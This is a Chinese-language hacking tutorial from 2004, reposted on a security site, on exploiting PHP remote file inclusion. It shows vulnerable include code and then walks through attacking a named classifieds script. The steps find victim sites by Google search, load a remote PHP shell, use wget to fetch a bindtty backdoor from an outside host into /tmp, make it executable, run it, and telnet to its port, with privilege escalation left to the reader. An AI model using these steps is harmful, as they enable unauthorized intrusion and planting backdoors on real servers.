首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>入侵实例>文章内容
远程文件包含漏洞的利用
来源:vfocus.net 作者:CrAcKlOvE 发布时间:2004-08-09  

远程文件包含漏洞的利用


*AuThor:CrAcKlOvE *
*emA!l:CrAcKlOvE#zJ.cOM *
*HoMePaGe:N/a,mAyBe DoWn *
****************************
1)什么是远程文件包含漏洞?
让我们先看看以下代码,
CODE
<?
<!--- cOdz --->

include($page);

<!--- cOdz --->
?>


由于$page变量缺少充分过滤,判断$page是不是本地的还是远程服务器上的,因此我们可以指定远程服务器的文件作为参数提交给$page变量,
以web权限执行远程文件.

2)漏洞的初步应用
假设某一站点的index.php代码如下
CODE
<?
<!--- cOdz --->

include($page);

<!--- cOdz --->
?>

我们就可以提交:
http://siteurl.tld/index.php?page=http://远程服务器/文件名称
假设我们远程文件名称为warez.php,内容为
CODE
<?
<!--- cOdz --->

system("ls /tmp/");

<!--- cOdz --->
?>

这样就能把warez.php下载到本地,并且执行! 说白了,就是把tmp下的文件显示出来.

3)实战演练
说了一大堆,现在开始锻炼实践能力了,嘿嘿.
⑴准备工作:
①存在远程文件包含漏洞的站点
②phpshell
③Backdoor

对于①,大家可以到www.cnns.net或者www.securiteam.com关注近期的漏洞,一定会有的,我们拿最近的Artmedic kleinanzeigen漏洞练手.
Artmedic kleinanzeigen由于index.php的$site变量缺少过滤,导致了远程文件包含漏洞.所以我们可以提交以下url
http://Artmedic kleinanzeigen url/path/index.php?site=http://phpshellurl
那如何找到使用Artmedic kleinanzeigen的站点呢?这里有个小技巧,我顺便说一下.
我先去Artmedic kleinanzeigen的官方站找到Artmedic kleinanzeigen程序的演示,随便点了个连接,
连接为http://siteurl.com/index.php?site=anzeigenmaerktestart,于是打开google.com,搜索index.php?site=anzeigenmaerktestart,
那些使用Artmedic kleinanzeigen的站就差不多出来了,我们可以一一去尝试!

对于②,我推荐Data Cha0s PHP Command/Safemode Exploit 4.1,或者angel的saphpshell,phpspy,功能都不错.

对于③,你可以使用绑定端口的程序bind,然后根据程序绑定的端口telnet.你可以使用san以前用过的Digit-Labs Connect-Back Backdoor,
不过我经常使用bindtty,bindtty绑定7474端口.

⑵开始利用
①提交http://xxx.de/index.php?site=http://phphot.com/cse.gif?cmd=id
说明一下,cse.gif是上文所说的Data Cha0s PHP Command/Safemode Exploit 4.1,cmd=id是查询当前用户的权限.
一般所都是uid=99(nobody) gid=99(nobody) groups=99(nobody),uid不是0,所以他不是root级别的帐户.
竟然可以执行,那么说明system函数没有被禁止,那我们就可以大胆的执行命令了!

②提交http://xxx.de/index.php?site=http://phphot.com/cse.gif?cmd=wget http://phphot.com/bindtty -O /tmp/bindtty
这样就把bindtty下载到tmp目录下.可能你会为,为什么要下到tmp目录下呢?因为tmp目录一般都可写.

③文件已经下载了,我们必须设置属性,不然运行不了,会提示没有权限.
http://xxx.de/index.php?site=http://phphot...e.gif?cmd=chmod 775 /tmp/bindtty
这样我们就有权限执行bindtty文件了!

④执行bindtty
http://xxx.de/index.php?site=http://phphot...md=/tmp/bindtty
成功的话,它会显示Daemon is starting...OK, pid = xxxx.
因为上文已经说bindtty绑定的是7474端口,现在我们可以telnet host 7474.
ps:不推荐使用windows命令提示符进行telnet,会出现字符混乱的现象,推荐使用putty.

⑤提升到root,这就是你的工作了.你可以根据cse.gif所显示的一些信息寻找对应的exploit进行提升权限.

这样就差不多结束了,有问题的话欢迎提出


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·另类网站入侵之一句话木马图片的
·0day批量拿站webshell,挖掘机是
·利用ewebeditor 5.5 - 6.0 鸡肋
·OmniPeek抓包的一点看法
·强大的嗅探工具ettercap使用教程
·Windows系统密码破解全攻略
·破解禁止SSID广播
·XSS偷取密码Cookies通用脚本
·XSS漏洞基本攻击代码
·Intel 3945ABG用OmniPeek 4.1抓
·KesionCMS V7.0科汛内容网站管理
·破解无线过滤MAC
  相关文章
·Guest权限突破8法
·利用unicode和net dde漏洞夺取系
·入侵网站后全自动安装后门
·利用网站错误配置获得完全控制
·得到NT/2000的Admin以后能做什么
·谈php+mysql注射语句构造
·利用PStore获取帐号信息
·URL欺騙
·入侵学校主机兼谈思维方法的培养
·对iis写权限的利用
·分析盛大被黑
·通过Mysql入侵服务器
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved